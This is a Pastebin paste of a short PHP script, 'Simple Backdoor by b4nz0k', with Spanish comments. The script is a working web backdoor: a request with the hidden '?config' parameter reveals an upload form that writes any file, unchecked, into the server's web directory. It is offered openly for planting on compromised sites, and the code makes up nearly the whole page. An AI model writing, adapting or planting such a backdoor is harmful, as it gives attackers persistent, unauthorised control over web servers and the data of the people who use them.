b4nz0k

Simple Backdoor by b4nz0k

Nov 27th, 2011
847
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.85 KB | None | 0 0
  1. <?php
  2.     /*      Ejecucion: http://web.com/path/archivo.php?config       */
  3.  if (isset($_GET['config'])) {
  4.    echo '<center><h1>BakckDoor by b4nz0k</h1>
  5. <form action="" method="post" enctype="multipart/form-data">    Seleccione el Archivo
  6. <input value="Examinar" name="archivo" type="file">
  7.    <input value="0xSubir" type="submit"></form></center>';
  8.     if (isset($_FILES['archivo']))
  9.     {
  10.     $ar=$_FILES['archivo']['name'];
  11.     if (copy($_FILES['archivo']['tmp_name'],$path . $_FILES['archivo']['name'])) {
  12.         echo '<center><h3>Archivo Subido en <a href="'.$ar.'">'.$ar.'</a></h3></center>'; }
  13.     elseif (move_uploaded_file($_FILES['archivo']['tmp_name'],$path . $_FILES['archivo']['name'])){
  14.         echo '<center><h3>Archivo Subido en <a href="'.$ar.'">'.$ar.'</a></h3></center>'; }
  15.     else { echo '<center><h3>Error al Subir Archivo</h3></center>'; } } }
  16. ?>
Advertisement
Add Comment
Please, Sign In to add comment